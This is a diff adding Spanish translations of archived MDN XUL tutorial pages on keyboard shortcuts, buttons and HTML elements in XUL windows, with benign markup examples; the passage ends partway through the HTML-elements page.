+<p>Quizás quiera configurar atajos de teclado más generales. Por ejemplo, presionar Control+C para copiar texto al porta papeles. Aunque a veces atajos como estos no siempre son válidos, usualmente funcionarán cada vez que la ventana esté abierta. Usualmente, un atajo del teclado estará permitido en cualquier momento y puede ver ver si deberí estar haciendo algo con algún programa. Por ejemplo, copiar texto al portapapeles sólo debería funcionar cuando hay algún texto seleccionado.</p>
+
+<h4 id="El_elemento_.27tecla.27" name="El_elemento_.27tecla.27">El elemento 'key'</h4>
+
+<p>XUL provee de un elemento, <code><a href="/es/XUL/Elementos#key" title="es/XUL/Elementos#key">key</a></code>, que permite definir atajos de teclado para una ventana. Tiene atributos para especificar la tecla que debería ser presionada y qué teclas modificadoras (tales como Shift o Control) necesitan ser presionadas simultáneamente. A continuación se muestra un ejemplo:</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="sample-key" modifiers="shift" key="R"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>En este ejemplo se define un atajo de teclado que es activado cuando el usuario presiona las teclas 'Shift' y 'R' simultáneamente. El atributo <code><a href="/Es/XUL/Atributos#key" title="Es/XUL/Atributos#key">key</a></code> (tiene el mismo nombre que el elemento) se emplea para indicar qué tecla debe apretarse, en este caso la 'R'. Se puede asignar cualquier caracter (de teclado) a este atributo para requerir que se apriete una tecla en particular. Los modificadores que deben apretarse se indican con el atributo <code><a href="/Es/XUL/Atributos#modifiers" title="Es/XUL/Atributos#modifiers">modifiers</a></code>. Se pueden establecer varios, (ej: <code>modifiers="control alt") </code>asignando como valor una lista separada con espacios de teclas de modificadoras; se listan a continuación:</p>
+
+<dl>
+ <dt>alt </dt>
+ <dd>El usuario debe pulsar la tecla Alt. En Macintosh, es la tecla Option.</dd>
+ <dt>control </dt>
+ <dd>El usuario debe pulsar la tecla Control.</dd>
+ <dt>meta </dt>
+ <dd>El usuario debe pulsar la tecla Meta. En Macintosh, es la tecla Command.</dd>
+ <dt>shift </dt>
+ <dd>El usuario debe pulsar la tecla Mayúsculas.</dd>
+ <dt>accel </dt>
+ <dd>El usuario debe pulsar la tecla especial acelerador. La tecla usada por los atajos de teclado en la plataforma del usuario. Habitualmente, éste debería ser el valor que utilizases.</dd>
+</dl>
+
+<p>Tu teclado no tendrá necesariamente todas las teclas, en cuyo caso serán mapeadas a las teclas modificadoras que tengas.</p>
+
+<p>El elemento <code><a href="/es/XUL/Elementos#key" title="es/XUL/Elementos#key">key</a></code> debe colocarse dentro de un elemento <code><a href="/es/XUL/Elementos#keyset" title="es/XUL/Elementos#keyset">keyset</a></code>; en caso contrario no funcionará. Este elemento esta diseñado para contener un conjunto de elementos <code>key</code>, lo cual sirve para agrupar todas las definiciones de teclas en un solo sitio en cada archivo. Cualquier elemento <code>key</code> fuera de un <code>keyset </code>no funcionará.<br>
+  </p>
+
+<p>Cada plataforma generalmente utiliza una tecla diferente para los atajos de teclado. Por ejemplo, Windows usa la tecla Control y Macintosh usa la tecla Command. Sería conveniente definir elementos key por separado para cada plataforma. Afortunadamente, hay una solución. El modificador accel hace referencia a la tecla usada para atajos de teclado específica de cada plataforma. Funciona igual que otros modificadores, pero no será la misma en todas las plataformas.</p>
+
+<p><strong>Algunos ejemplos adicionales:</strong></p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="control" key="C"/&gt;
+  &lt;key id="explore-key" modifiers="control alt" key="E"/&gt;
+  &lt;key id="paste-key" modifiers="accel" key="V"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<h4 id="El_atributo_c.C3.B3digo_de_tecla_.28keycode.29" name="El_atributo_c.C3.B3digo_de_tecla_.28keycode.29">El atributo código de tecla (keycode)</h4>
+
+<p>El atributo <code><a href="/Es/XUL/Atributos#key" title="Es/XUL/Atributos#key">key</a></code> se utiliza para especificar la tecla que debe ser pulsada. Sin embargo, habrá casos en los que quieras referirte a teclas que no pueden ser especificadas con un caracter (como la tecla Enter o las teclas de función F1..F12). El atributo <code>key</code> sólo puede ser utilizado para caracteres imprimibles. Otro atributo, <a href="/Es/XUL/Atributos#keycode" title="Es/XUL/Atributos#keycode">keycode</a> puede ser utilizado para caracteres no imprimibles.</p>
+
+<p>El atributo <a href="/Es/XUL/Atributos#keycode" title="Es/XUL/Atributos#keycode">keycode</a> debería ser establecido a un código especial que represente la tecla que quieres. A continuación hay una lista de teclas. No todas las teclas están disponibles en todos los teclados.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>VK_CANCEL</td>
+   <td>VK_BACK</td>
+   <td>VK_TAB</td>
+   <td>VK_CLEAR</td>
+  </tr>
+  <tr>
+   <td>VK_RETURN</td>
+   <td>VK_ENTER</td>
+   <td>VK_SHIFT</td>
+   <td>VK_CONTROL</td>
+  </tr>
+  <tr>
+   <td>VK_ALT</td>
+   <td>VK_PAUSE</td>
+   <td>VK_CAPS_LOCK</td>
+   <td>VK_ESCAPE</td>
+  </tr>
+  <tr>
+   <td>VK_SPACE</td>
+   <td>VK_PAGE_UP</td>
+   <td>VK_PAGE_DOWN</td>
+   <td>VK_END</td>
+  </tr>
+  <tr>
+   <td>VK_HOME</td>
+   <td>VK_LEFT</td>
+   <td>VK_UP</td>
+   <td>VK_RIGHT</td>
+  </tr>
+  <tr>
+   <td>VK_DOWN</td>
+   <td>VK_PRINTSCREEN</td>
+   <td>VK_INSERT</td>
+   <td>VK_DELETE</td>
+  </tr>
+  <tr>
+   <td>VK_0</td>
+   <td>VK_1</td>
+   <td>VK_2</td>
+   <td>VK_3</td>
+  </tr>
+  <tr>
+   <td>VK_4</td>
+   <td>VK_5</td>
+   <td>VK_6</td>
+   <td>VK_7</td>
+  </tr>
+  <tr>
+   <td>VK_8</td>
+   <td>VK_9</td>
+   <td>VK_SEMICOLON</td>
+   <td>VK_EQUALS</td>
+  </tr>
+  <tr>
+   <td>VK_A</td>
+   <td>VK_B</td>
+   <td>VK_C</td>
+   <td>VK_D</td>
+  </tr>
+  <tr>
+   <td>VK_E</td>
+   <td>VK_F</td>
+   <td>VK_G</td>
+   <td>VK_H</td>
+  </tr>
+  <tr>
+   <td>VK_I</td>
+   <td>VK_J</td>
+   <td>VK_K</td>
+   <td>VK_L</td>
+  </tr>
+  <tr>
+   <td>VK_M</td>
+   <td>VK_N</td>
+   <td>VK_O</td>
+   <td>VK_P</td>
+  </tr>
+  <tr>
+   <td>VK_Q</td>
+   <td>VK_R</td>
+   <td>VK_S</td>
+   <td>VK_T</td>
+  </tr>
+  <tr>
+   <td>VK_U</td>
+   <td>VK_V</td>
+   <td>VK_W</td>
+   <td>VK_X</td>
+  </tr>
+  <tr>
+   <td>VK_Y</td>
+   <td>VK_Z</td>
+   <td>VK_NUMPAD0</td>
+   <td>VK_NUMPAD1</td>
+  </tr>
+  <tr>
+   <td>VK_NUMPAD2</td>
+   <td>VK_NUMPAD3</td>
+   <td>VK_NUMPAD4</td>
+   <td>VK_NUMPAD5</td>
+  </tr>
+  <tr>
+   <td>VK_NUMPAD6</td>
+   <td>VK_NUMPAD7</td>
+   <td>VK_NUMPAD8</td>
+   <td>VK_NUMPAD9</td>
+  </tr>
+  <tr>
+   <td>VK_MULTIPLY</td>
+   <td>VK_ADD</td>
+   <td>VK_SEPARATOR</td>
+   <td>VK_SUBTRACT</td>
+  </tr>
+  <tr>
+   <td>VK_DECIMAL</td>
+   <td>VK_DIVIDE</td>
+   <td>VK_F1</td>
+   <td>VK_F2</td>
+  </tr>
+  <tr>
+   <td>VK_F3</td>
+   <td>VK_F4</td>
+   <td>VK_F5</td>
+   <td>VK_F6</td>
+  </tr>
+  <tr>
+   <td>VK_F7</td>
+   <td>VK_F8</td>
+   <td>VK_F9</td>
+   <td>VK_F10</td>
+  </tr>
+  <tr>
+   <td>VK_F11</td>
+   <td>VK_F12</td>
+   <td>VK_F13</td>
+   <td>VK_F14</td>
+  </tr>
+  <tr>
+   <td>VK_F15</td>
+   <td>VK_F16</td>
+   <td>VK_F17</td>
+   <td>VK_F18</td>
+  </tr>
+  <tr>
+   <td>VK_F19</td>
+   <td>VK_F20</td>
+   <td>VK_F21</td>
+   <td>VK_F22</td>
+  </tr>
+  <tr>
+   <td>VK_F23</td>
+   <td>VK_F24</td>
+   <td>VK_NUM_LOCK</td>
+   <td>VK_SCROLL_LOCK</td>
+  </tr>
+  <tr>
+   <td>VK_COMMA</td>
+   <td>VK_PERIOD</td>
+   <td>VK_SLASH</td>
+   <td>VK_BACK_QUOTE</td>
+  </tr>
+  <tr>
+   <td>VK_OPEN_BRACKET</td>
+   <td>VK_BACK_SLASH</td>
+   <td>VK_CLOSE_BRACKET</td>
+   <td>VK_QUOTE</td>
+  </tr>
+  <tr>
+   <td>VK_HELP</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Por ejemplo, para crear un atajo con las teclas 'Alt y F5':</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="test-key" modifiers="alt" keycode="VK_F5"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>El siguiente ejemplo muestra algunos atajos de teclado más:</p>
+
+<pre>&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="accel" key="C"/&gt;
+  &lt;key id="find-key" keycode="VK_F3"/&gt;
+  &lt;key id="switch-key" modifiers="control alt" key="1"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>La primera tecla es invocada cuando el usuario pulsa su atajo específico de la plataforma y C. El segundo es invocado cuando el usuario pulsa F3. El tercero es invocado al pulsar las teclas Control, Alt y 1 a la vez. Si quieres distinguir entre teclas de la parte principal del teclado y el teclado numérico, utiliza las teclas VK_NUMPAD (como VK_NUMPAD1).</p>
+
+<div class="note">
+<p>Consulta la <a class="external" href="http://www.mozilla.org/access/keyboard/">Mozilla Keyboard Planning FAQ and Cross Reference</a> para más información sobre selección atajos de teclado para usar en aplicaciones.</p>
+</div>
+
+<h3 id="Usando_los_atajos_de_teclado" name="Usando_los_atajos_de_teclado">Usando los atajos de teclado</h3>
+
+<p>Ahora que sabemos cómo definir atajos de teclado, veremos cómo podemos usarlos. Hay dos formas. La primera es la más simple y sólo requiere que utilices el manejador de evento keypress en el elemento <code><a href="/es/XUL/Elementos#key" title="es/XUL/Elementos#key">key</a></code>. Cuando el usuario pulsa la tecla, el script será invocado. A continuación se muestra un ejemplo:</p>
+
+<pre class="eval">&lt;keyset&gt;
+  &lt;key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>La función <code>DoCopy</code> será llamada cuando el usuario presione las teclas especificadas en el elemento <code><a href="/es/XUL/Elementos#key" title="es/XUL/Elementos#key">key</a></code>, que en este ejemplo, son las teclas para copiar al portapapeles (como Control+C). Esto funcionará mientras la ventana esté abierta. La función <code>DoCopy</code> debería comprobar si hay texto seleccionado y en ese caso copiarlo al portapapeles. Nota que las cajas de texto tienen los atajos del portapapeles ya incluidos, por lo que no tienes que implementarlos por ti mismo.</p>
+
+<h4 id="Asignaci.C3.B3n_de_un_atajo_de_teclado_a_un_men.C3.BA" name="Asignaci.C3.B3n_de_un_atajo_de_teclado_a_un_men.C3.BA">Asignación de un atajo de teclado a un menú</h4>
+
+<p>Si estás asignando un atajo de teclado que ejecuta a un comando que ya existe en un menú, puedes asociar el elemento <code><a href="/es/XUL/Elementos#key" title="es/XUL/Elementos#key">key</a></code> directamente con el comando del menú. Para hacer esto, añade un atributo <code><a href="/Es/XUL/Atributos#key" title="Es/XUL/Atributos#key">key</a></code> al <code><a href="/es/XUL/Elementos#menuitem" title="es/XUL/Elementos#menuitem">menuitem</a></code>. Establece su valor al <code><a href="/Es/XUL/Atributos#id" title="Es/XUL/Atributos#id">id</a></code> de la tecla que quieras usar. El siguiente ejemplo muestra esto.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:keyshort1.jpg" class="internal" src="/@api/deki/files/1147/=Keyshort1.jpg"></div>
+
+<pre class="eval">&lt;keyset&gt;
+  &lt;key id="paste-key" modifiers="accel" key="V"
+          oncommand="alert('Paste invoked')"/&gt;
+&lt;/keyset&gt;
+
+&lt;menubar id="sample-menubar"&gt;
+  &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+    &lt;menupopup id="edit-popup"&gt;
+      &lt;menuitem id="paste-command"
+         accesskey="p" key="paste-key"
+         label="Paste" oncommand="alert('Paste invoked')"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>El atributo <code><a href="/Es/XUL/Atributos#key" title="Es/XUL/Atributos#key">key</a></code> del elemento menuitem, cuyo valor aquí es <code>paste-key</code> es igual al valor del atributo <code>id</code> de la tecla definida. Puedes usar esto para teclas adicionales así como para definir atajos de teclado para cualquier número de elementos.</p>
+
+<p>También verás que se ha añadido un texto junto a la opción "Paste" para indicar que el comando de menú puede ser invocado mediante Control + V. Esto se realiza automáticamente basándose en los modificadores del elemento <code>key</code>. Los atajos de teclado asociados a los menús funcionarán aunque el menú no esté abierto.</p>
+
+<p>Una característica adicional de las definiciones de teclas es que las puedes desactivar fácilmente. Par hacer esto, añade un atributo <code><a href="/Es/XUL/Atributos#disabled" title="Es/XUL/Atributos#disabled">disabled</a> al elemento &lt;code&gt;key</code> y establece su valor a <code>true</code>. Esto desactiva el atajo de teclado para que no pueda ser invocado. Es útil cambiar el atributo <code>disabled</code> utilizando un script.</p>
+
+<div class="highlight">
+<h4 id="Nuestro_ejemplo" name="Nuestro_ejemplo">Nuestro ejemplo</h4>
+
+<p>Vamos a añadir atajos de teclado al diálogo encontrar archivos. Añadiremos cuatro, para los comandos Cortar (Cut), Copiar (Copy) y Pegar (Paste) y otro para el comando Cerrar (Close) cuando el usuario pulse Escape.</p>
+
+<pre class="eval"><span class="highlightred">  &lt;keyset&gt;   &lt;key id="cut_cmd" modifiers="accel" key="X"/&gt;   &lt;key id="copy_cmd" modifiers="accel" key="C"/&gt;   &lt;key id="paste_cmd" modifiers="accel" key="V"/&gt;   &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;  &lt;/keyset&gt; </span>
+
+&lt;vbox flex="1"&gt;
+ &lt;toolbox&gt;
+  &lt;menubar id="findfiles-menubar"&gt;
+   &lt;menu id="file-menu" label="File" accesskey="f"&gt;
+     &lt;menupopup id="file-popup"&gt;
+       &lt;menuitem label="Open Search..." accesskey="o"/&gt;
+       &lt;menuitem label="Save Search..." accesskey="s"/&gt;
+       &lt;menuseparator/&gt;
+       &lt;menuitem label="Close" accesskey="c" <span class="highlightred">key="close_cmd"</span>
+         oncommand="window.close();"/&gt;
+     &lt;/menupopup&gt;
+   &lt;/menu&gt;
+   &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+     &lt;menupopup id="edit-popup"&gt;
+       &lt;menuitem label="Cut" accesskey="t" <span class="highlightred">key="cut_cmd"</span>/&gt;
+       &lt;menuitem label="Copy" accesskey="c" <span class="highlightred">key="copy_cmd"</span>/&gt;
+       &lt;menuitem label="Paste" accesskey="p" <span class="highlightred">key="paste_cmd"</span> disabled="true"/&gt;
+     &lt;/menupopup&gt;
+   &lt;/menu&gt;
+  &lt;/menubar&gt;
+ &lt;/toolbox&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>Ahora podemos usar esos atajos para activar los comandos. Por supuesto, los comandos del portapapeles no harán nada porque no hemos escrito esos scripts.</p>
+</div>
+
+<h3 id="Los_eventos_de_tecla" name="Los_eventos_de_tecla">Los eventos de tecla</h3>
+
+<p>Hay tres eventos de teclado que pueden ser utilizados si las funcionalidades descritas antes no estuvieran disponibles. Estos eventos son:</p>
+
+<dl>
+ <dt>keypress </dt>
+ <dd>Llamado cuando una tecla es pulsada y despulsada mientras un elemento tiene el foco. Puedes usar esta tecla para comprobar los caracteres permitidos en un campo.</dd>
+ <dt>keydown </dt>
+ <dd>Llamado cuando una tecla es pulsada (aunque todavía no se haya despulsado) mientras un elemento tiene el foco.</dd>
+ <dt>keyup </dt>
+ <dd>Llamado cuando una tecla es despulsada mientras un elemento tiene el foco.</dd>
+</dl>
+
+<p>Los eventos de tecla son sólo enviados al elemento que tiene el foco. Típicamente, esto incluye cajas de texto, botones, checkboxes y elementos así. Si no hay ningún elemento focalizado, el evento de la tecla será dirigido al propio documento XUL. En este caso, puedes añadir un escuchador de eventos (event listener) a la etiqueta <code><a href="/es/XUL/Elementos#window" title="es/XUL/Elementos#window">window</a></code>. Aunque normalmente, si quieres responder a teclas globalmente, utilizarás un atajo de teclado como se ha descrito antes.</p>
+
+<p>El <a href="/es/DOM/event" title="es/DOM/event">objeto evento</a> de tecla tiene dos propiedades que registran la tecla que ha sido pulsada. La propiedad <code><a href="/es/DOM/event.keyCode" title="es/DOM/event.keyCode">keyCode</a></code> registra el código de la tecla y puede ser comparada con una de las constantes de la anterior tabla de esta sección. La propiedad <code><a href="/es/DOM/event.charCode" title="es/DOM/event.charCode">charCode</a></code> es utilizada para caracteres imprimibles y registrará el código de caracter de la tecla que fue pulsada.</p>
+
+<div class="highlight"><strong>Nuestro ejemplo:</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul">Ver en funcionamiento</a></div>
+
+<p>Seguimos con poner un gestor de <a href="/es/Tutorial_de_XUL/Foco_y_Selección" title="es/Tutorial_de_XUL/Foco_y_Selección">foco y selección</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Más_gestores_de_eventos" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Foco_y_Selección">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_botones/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_botones/index.html
new file mode 100644
index 0000000000..4181b632c6
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_botones/index.html
@@ -0,0 +1,111 @@
+---
+title: Añadiendo botones
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Añadiendo_botones
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Buttons
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Creando_una_ventana" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Añadiendo_etiquetas_e_imagenes">Siguiente  »</a></p>
+</div>
+
+<p>En esta sección veremos cómo añadir botones sencillos a una ventana.</p>
+
+<h3 id="A.C3.B1adir_botones_a_una_ventana" name="A.C3.B1adir_botones_a_una_ventana">Añadir botones a una ventana</h3>
+
+<p>La ventana que hemos creado no contiene nada hasta ahora, así es que carece de interés. En esta sección vamos a añadir dos botones: Uno para buscar y otro para cancelar. También aprenderemos una forma fácil de ubicarlos dentro de la ventana.</p>
+
+<p>Al igual que HTML, XUL tiene una serie de etiquetas para crear elementos de interfaz de usuario. La más básica de todas es la etiqueta <code><code><a href="/es/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>, que sirve para crear un botón simple.</p>
+
+<p>Cada elemento<em>botón</em> tiene dos propiedades asociadas: <code>label</code> e <code>image</code>, mútuamente compatibles: Se puede tener un botón con imagen y/o con etiqueta. Los botones se usan generalmente para las opciones de<em>Aceptar</em> o<em>Cancelar</em> en los cuadros de diálogo, por ejemplo.</p>
+
+<h4 id="Sintaxis_de_los_botones" name="Sintaxis_de_los_botones">Sintaxis de los botones</h4>
+
+<p>La etiqueta <code><code><a href="/es/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> tiene la siguiente sintaxis:</p>
+
+<pre>&lt;button
+    id="identificador"
+    class="dialogo"
+    label="Aceptar"
+    image="imagenes/imagen.jpg"
+    disabled="true"
+    accesskey="t"/&gt;
+</pre>
+
+<p>Los atributos son todos opcionales, y se interpretan así:</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> </dt>
+ <dd>Un identificador<em>único</em> (dentro de la página actual) que represente de forma inequívoca al botón. Es muy útil para referirse al botón desde una hoja de estilos CSS o desde un script de código, por ejemplo. Es recomendable rellenar este atributo en<em>todas las etiquetas</em> que uno declare (si no figura explícitamente en cada etiqueta de esta guía es porque se da por sobreentendido).</dd>
+ <dt><code id="a-class"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code> </dt>
+ <dd>La clase-estilo del botón. Se usa de la misma manera que en HTML: Sirve para indicar el estilo que el navegador deberá aplicar al botón creado. En el ejemplo precedente se usa la clase <code>dialogo</code>, aunque por lo general uno no suele establecer una clase específica para un botón.</dd>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> </dt>
+ <dd>El texto que aparecerá dentro del botón. Por ejemplo:<em>Aceptar</em> or<em>Cancelar</em>. Si no se rellena, el botón aparece sin texto.</dd>
+ <dt><code id="a-image"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code> </dt>
+ <dd>La URL de la imagen que aparecerá dentro del botón. Si no se rellena, el botón aparecerá sin imagen. Una forma alternativa de especificar esta imagen es desde una hoja de estilo CSS, mediante una propiedad <code><a href="es/CSS/list-style-image">list-style-image</a></code>.</dd>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code> </dt>
+ <dd>Indicador de deshabilitado: Si se rellena con valor <code>true</code>, el botón aparecera deshabilitado, lo que quiere decir que no responderá a la acción de pulsar sobre él (y el aspecto, usualmente, será con el texto en gris pálido). Si no se especifica este atributo, el botón está habilitado. También se puede cambiar el estado habilitado/deshabilitado mediante <a href="es/JavaScript">JavaScript</a>.</dd>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code> </dt>
+ <dd>En este atributo debe ir una sóla letra que se usará como tecla de acceso directo para pulsar el botón. Esta letra debería pertenecer al valor del atributo <code>label</code>. El aspecto, usualmente, será un subrayado bajo la letra escogida en el botón. Su funcionamiento consiste en que cada vez que el usuario pulse la letra escogida (más un pulsador que pude variar en función de la plataforma; usualmente ALT), desde cualquier lugar de la ventana, el botón recibirá el foco.</dd>
+</dl>
+
+<p>Atención: La etiqueta <code>button</code> en realidad soporta<em>más atributos</em> de los listados aquí, pero el resto se verán <a href="es/XUL_Tutorial/More_Button_Features">más adelante</a>.</p>
+
+<h4 id="Algunos_ejemplos_de_botones" name="Algunos_ejemplos_de_botones">Algunos ejemplos de botones</h4>
+
+<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:buttons1.png"></div>
+
+<pre>&lt;button label="Normal"/&gt;
+&lt;button label="Disabled" disabled="true"/&gt;
+</pre>
+
+<p><br>
+ El ejemplo de arriba genera los botones mostrados en la imagen. El primer botón es un botón normal, el segundo está desabilitado.</p>
+
+<p>Empezaremos creando un simple botón "Buscar" para la función buscar fichero. El ejemplo siguiente nos muestra cómo hacer esto.</p>
+
+<p> </p>
+
+<pre>&lt;button id="find-button" label="Buscar"/&gt;
+</pre>
+
+<div class="note">FireFox no permite abrir ventanas "chrome" desde páginas web, asi que el links "Ver" en el tutorial abriran una ventana de normal de browser.debido a esto, los botones aparecerán ocupando todo el ancho de la ventana. Puedes colocar align="start" a la etiqueta window para que esto no ocurra.</div>
+
+<div class="highlight">
+<h5 id="El_ejemplo_findfile.xul" name="El_ejemplo_findfile.xul">El ejemplo findfile.xul</h5>
+
+<p>Coloquemos este código al archivo que habiamos creado en la sección anterior. El código debe ser colocado entre las etiquetas de <code><code><a href="/es/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. El código que debemos agregar esta aquí abajo en rojo.</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+     xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+  <span class="highlightred">&lt;button id="find-button" label="Find"/&gt;</span>
+  <span class="highlightred">&lt;button id="cancel-button" label="Cancel"/&gt;</span>
+
+&lt;/window&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:buttons2.png"></div>
+
+<p>Verás que tambien se agrego el botón Cancel. Le dimos a la ventana una orientación horizontal, de este modo, los botones se muestran uno al lado del otro. Si abres el fichero en Mozilla, obtendras algo como la imagen mostrada aquí.</p>
+</div>
+
+<p> </p>
+
+<div class="note">Nota: No deberíamos poner el texto de <code>label</code> directamente en el fichero XUL. En lugar de eso, deberíamos usar <a href="es/XUL_Tutorial/Localization">entes así, el texto puede ser traducido facilmente.</a>.</div>
+
+<p>En la próxima sección descubriremos <a href="es/XUL_Tutorial/Adding_Labels_and_Images">cómo agregar etiquetas e imágenes a una ventana XUL</a>.</p>
+
+<p><small>Ver también <a href="es/XUL_Tutorial/More_Button_Features">more button fetaures</a></small></p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Creando_una_ventana" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Añadiendo_etiquetas_e_imagenes">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_elementos_html/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_elementos_html/index.html
new file mode 100644
index 0000000000..c0330768d6
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_elementos_html/index.html
@@ -0,0 +1,106 @@
+---
+title: Añadiendo elementos HTML
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Añadiendo_elementos_HTML
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_HTML_Elements
+---
+<p> </p>
+<p>Ahora que hemos añadido algunos botones, vamos a añadir algunos otros elementos.</p>
+<h3 id="Adici.C3.B3n_de_Elementos_de_HTML_a_una_Ventana" name="Adici.C3.B3n_de_Elementos_de_HTML_a_una_Ventana">Adición de Elementos de HTML a una Ventana</h3>
+<p>Además de todos los elementos XUL que están disponibles, usted también puede añadir elementos de HTML directamente dentro de un archivo XUL. Usted en realidad puede usar cualquier elemento de HTML en un archivo XUL, queriendo decir que programillas Javaneses y mesas pueden ser colocados en una ventana. Usted debería evitar usar elementos de HTML en archivos XUL si usted puede. Sin embargo, esta sección describirá como usarlos de todas maneras. Recuerde que XML es sensible a las mayusculas, entonces usted debera escribir tanto las etiquetas como los atributos en minúscula.</p>
+<p>Para usar elementos de HTML en un archivo XUL, usted debe declarar que usted hace así la utilización del XHTML namespace. Este camino, Mozilla puede distinguir las etiquetas de HTML de los XUL. El atributo debajo debería para ser añadido a la etiqueta de <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_window.html">ventana</a></code> del archivo XUL, o al elemento de HTML exterior.</p>
+<pre class="eval"> <span class="nowiki">xmlns:html="http://www.w3.org/1999/xhtml"</span>
+</pre>
+<p>Esto es una declaración de HTML mucho como el que solíamos declarar XUL. Esto debe ser entrado exactamente como mostrado o esto no trabajará correctamente. Note que Mozilla en realidad no descarga este URL, pero esto realmente lo reconoce como ser HTML.</p>
+<p>Aquí está un ejemplo como podría ser añadido a la ventana de archivo de hallazgo:</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+&lt;window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+    xmlns:html="http://www.w3.org/1999/xhtml"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+<p>Entonces, usted puede utilizar etiquetas HTML como lo haría normalmente. Teniendo en cuenta lo sieguiente:</p>
+<ul>
+ <li>Debe añadir el prefijo html al principio de cada etiqueta, asumiendo que ha declarado el espacio de nombres HTML al comienzo.</li>
+ <li>Las etiquetas deben estar en minúsculas.</li>
+ <li>Todos los atributos deben ir entre comillas dobles.</li>
+ <li>Las etiquetas XML vacias, deben terminar con "/&gt;". Esto se ve mejor en los siguientes ejemplos.</li>
+</ul>
+<p>Puede utilizar cualquier etiqueta HTML, aunque algunas como <code>head</code> y <code>body</code>, realmente no son utiles. A continuación se muestran algunos ejemplos.</p>
+<pre>&lt;html:img src="banner.jpg"/&gt;
+
+&lt;html:input type="checkbox" value="true"/&gt;
+
+&lt;html:table&gt;
+  &lt;html:tr&gt;
+    &lt;html:td&gt;
+      A simple table
+    &lt;/html:td&gt;
+  &lt;/html:tr&gt;
+&lt;/html:table&gt;
+</pre>
